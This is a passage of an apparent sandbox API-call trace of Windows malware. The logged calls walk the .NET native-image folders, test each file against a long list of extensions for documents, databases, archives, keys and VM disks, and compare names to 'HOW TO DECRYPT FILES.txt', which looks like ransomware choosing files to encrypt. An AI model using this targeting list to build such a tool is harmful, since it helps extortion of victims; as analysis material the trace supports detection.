(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.idx") returned 0 [0104.603] lstrlenA (lpString="*.idx") returned 5 [0104.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.dbx") returned 0 [0104.604] lstrlenA (lpString="*.dbx") returned 5 [0104.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.sql") returned 0 [0104.604] lstrlenA (lpString="*.sql") returned 5 [0104.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.mdb") returned 0 [0104.604] lstrlenA (lpString="*.mdb") returned 5 [0104.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.fdb") returned 0 [0104.604] lstrlenA (lpString="*.fdb") returned 5 [0104.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.wab") returned 0 [0104.604] lstrlenA (lpString="*.wab") returned 5 [0104.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.dat") returned 0 [0104.604] lstrlenA (lpString="*.dat") returned 5 [0104.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.txt") returned 0 [0104.604] lstrlenA (lpString="*.txt") returned 5 [0104.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.jpeg") returned 0 [0104.604] lstrlenA (lpString="*.jpeg") returned 6 [0104.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.jpg") returned 0 [0104.604] lstrlenA (lpString="*.jpg") returned 5 [0104.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.png") returned 0 [0104.604] lstrlenA (lpString="*.png") returned 5 [0104.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.php") returned 0 [0104.604] lstrlenA (lpString="*.php") returned 5 [0104.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.cs") returned 0 [0104.605] lstrlenA (lpString="*.cs") returned 4 [0104.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.cpp") returned 0 [0104.605] lstrlenA (lpString="*.cpp") returned 5 [0104.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.rar") returned 0 [0104.605] lstrlenA (lpString="*.rar") returned 5 [0104.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.zip") returned 0 [0104.605] lstrlenA (lpString="*.zip") returned 5 [0104.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.html") returned 0 [0104.605] lstrlenA (lpString="*.html") returned 6 [0104.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.htm") returned 0 [0104.605] lstrlenA (lpString="*.htm") returned 5 [0104.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.xlsx") returned 0 [0104.605] lstrlenA (lpString="*.xlsx") returned 6 [0104.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.xls") returned 0 [0104.605] lstrlenA (lpString="*.xls") returned 5 [0104.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.mp4") returned 0 [0104.605] lstrlenA (lpString="*.mp4") returned 5 [0104.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.ppt") returned 0 [0104.605] lstrlenA (lpString="*.ppt") returned 5 [0104.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.pptx") returned 0 [0104.606] lstrlenA (lpString="*.pptx") returned 6 [0104.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.doc") returned 0 [0104.606] lstrlenA (lpString="*.doc") returned 5 [0104.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.dot") returned 0 [0104.606] lstrlenA (lpString="*.dot") returned 5 [0104.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.docx") returned 0 [0104.606] lstrlenA (lpString="*.docx") returned 6 [0104.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.7z") returned 0 [0104.606] lstrlenA (lpString="*.7z") returned 4 [0104.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.tar") returned 0 [0104.606] lstrlenA (lpString="*.tar") returned 5 [0104.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.bz2") returned 0 [0104.606] lstrlenA (lpString="*.bz2") returned 5 [0104.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.gz") returned 0 [0104.606] lstrlenA (lpString="*.gz") returned 4 [0104.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.mkv") returned 0 [0104.606] lstrlenA (lpString="*.mkv") returned 5 [0104.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.eml") returned 0 [0104.606] lstrlenA (lpString="*.eml") returned 5 [0104.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.msg") returned 0 [0104.607] lstrlenA (lpString="*.msg") returned 5 [0104.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.edb") returned 0 [0104.607] lstrlenA (lpString="*.edb") returned 5 [0104.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.accdb") returned 0 [0104.607] lstrlenA (lpString="*.accdb") returned 7 [0104.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.odb") returned 0 [0104.607] lstrlenA (lpString="*.odb") returned 5 [0104.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.java") returned 0 [0104.607] lstrlenA (lpString="*.java") returned 6 [0104.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.asm") returned 0 [0104.607] lstrlenA (lpString="*.asm") returned 5 [0104.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.pfx") returned 0 [0104.607] lstrlenA (lpString="*.pfx") returned 5 [0104.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.pem") returned 0 [0104.607] lstrlenA (lpString="*.pem") returned 5 [0104.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.p12") returned 0 [0104.607] lstrlenA (lpString="*.p12") returned 5 [0104.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.gpg") returned 0 [0104.607] lstrlenA (lpString="*.gpg") returned 5 [0104.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.vsd") returned 0 [0104.608] lstrlenA (lpString="*.vsd") returned 5 [0104.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.odg") returned 0 [0104.608] lstrlenA (lpString="*.odg") returned 5 [0104.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.raw") returned 0 [0104.608] lstrlenA (lpString="*.raw") returned 5 [0104.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.nef") returned 0 [0104.608] lstrlenA (lpString="*.nef") returned 5 [0104.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.svg") returned 0 [0104.608] lstrlenA (lpString="*.svg") returned 5 [0104.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.psd") returned 0 [0104.608] lstrlenA (lpString="*.psd") returned 5 [0104.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.vmx") returned 0 [0104.608] lstrlenA (lpString="*.vmx") returned 5 [0104.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.vmdk") returned 0 [0104.608] lstrlenA (lpString="*.vmdk") returned 6 [0104.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.vdi") returned 0 [0104.608] lstrlenA (lpString="*.vdi") returned 5 [0104.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.lay6") returned 0 [0104.609] lstrlenA (lpString="*.lay6") returned 6 [0104.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.mpeg") returned 0 [0104.609] lstrlenA (lpString="*.mpeg") returned 6 [0104.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.djvu") returned 0 [0104.609] lstrlenA (lpString="*.djvu") returned 6 [0104.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.tiff") returned 0 [0104.609] lstrlenA (lpString="*.tiff") returned 6 [0104.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.backup") returned 0 [0104.609] lstrlenA (lpString="*.backup") returned 8 [0104.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.pdf") returned 0 [0104.609] lstrlenA (lpString="*.pdf") returned 5 [0104.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.cert") returned 0 [0104.609] lstrlenA (lpString="*.cert") returned 6 [0104.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.docm") returned 0 [0104.609] lstrlenA (lpString="*.docm") returned 6 [0104.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.xlsm") returned 0 [0104.609] lstrlenA (lpString="*.xlsm") returned 6 [0104.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.dwg") returned 0 [0104.609] lstrlenA (lpString="*.dwg") returned 5 [0104.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.nd") returned 0 [0104.610] lstrlenA (lpString="*.nd") returned 4 [0104.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.tlg") returned 0 [0104.610] lstrlenA (lpString="*.tlg") returned 5 [0104.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.lgb") returned 0 [0104.610] lstrlenA (lpString="*.lgb") returned 5 [0104.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.mov") returned 0 [0104.610] lstrlenA (lpString="*.mov") returned 5 [0104.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.xdw") returned 0 [0104.610] lstrlenA (lpString="*.xdw") returned 5 [0104.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.ods") returned 0 [0104.610] lstrlenA (lpString="*.ods") returned 5 [0104.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.wav") returned 0 [0104.610] lstrlenA (lpString="*.wav") returned 5 [0104.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.mp3") returned 0 [0104.610] lstrlenA (lpString="*.mp3") returned 5 [0104.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.aiff") returned 0 [0104.611] lstrlenA (lpString="*.aiff") returned 6 [0104.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.flac") returned 0 [0104.611] lstrlenA (lpString="*.flac") returned 6 [0104.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.m4a") returned 0 [0104.611] lstrlenA (lpString="*.m4a") returned 5 [0104.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.csv") returned 0 [0104.612] lstrlenA (lpString="*.csv") returned 5 [0104.612] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e5de1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb7e5de1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb858202, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x20ea00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ReachFramework.ni.dll", cAlternateFileName="REACHF~1.DLL")) returned 0 [0104.612] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.612] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8f0783, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb8f0783, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb8f0783, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="7073e12b4c349a6ad94522e465e4f4ed", cAlternateFileName="7073E1~1")) returned 0 [0104.612] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.612] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b9630f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b9630f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b9630f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650052, dwReserved1=0x630061, cFileName="SecurityAuditPolici#", cAlternateFileName="SECURI~1")) returned 1 [0104.612] lstrcmpA (lpString1=".", lpString2="SecurityAuditPolici#") returned -1 [0104.612] lstrcmpA (lpString1="..", lpString2="SecurityAuditPolici#") returned -1 [0104.612] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.612] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="SecurityAuditPolici#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#" [0104.612] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#") returned 67 [0104.612] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b9630f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b9630f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b9630f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.613] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.613] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b9630f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b9630f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b9630f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.613] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.613] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.613] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b9630f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b965800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b965800, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0d274000ebb641e36382e2f19bb64f4e", cAlternateFileName="0D2740~1")) returned 1 [0104.613] lstrcmpA (lpString1=".", lpString2="0d274000ebb641e36382e2f19bb64f4e") returned -1 [0104.613] lstrcmpA (lpString1="..", lpString2="0d274000ebb641e36382e2f19bb64f4e") returned -1 [0104.613] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\*.*") returned="*.*" [0104.613] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\", lpString2="0d274000ebb641e36382e2f19bb64f4e" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e" [0104.613] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e") returned 100 [0104.613] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b9630f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b965800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b965800, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.614] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.614] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b9630f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b965800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b965800, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.614] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.614] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.614] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e336c93, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x2e336c93, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xeccae517, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x48000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SecurityAuditPoliciesSnapIn.ni.dll", cAlternateFileName="SECURI~1.DLL")) returned 1 [0104.614] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.614] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SecurityAuditPoliciesSnapIn.ni.dll") returned -1 [0104.614] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SecurityAuditPoliciesSnapIn.ni.dll") returned -1 [0104.614] lstrcmpiA (lpString1="", lpString2="SecurityAuditPoliciesSnapIn.ni.dll") returned -1 [0104.614] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\*.*") returned="*.*" [0104.614] lstrcpyA (in: lpString1=0x407019, 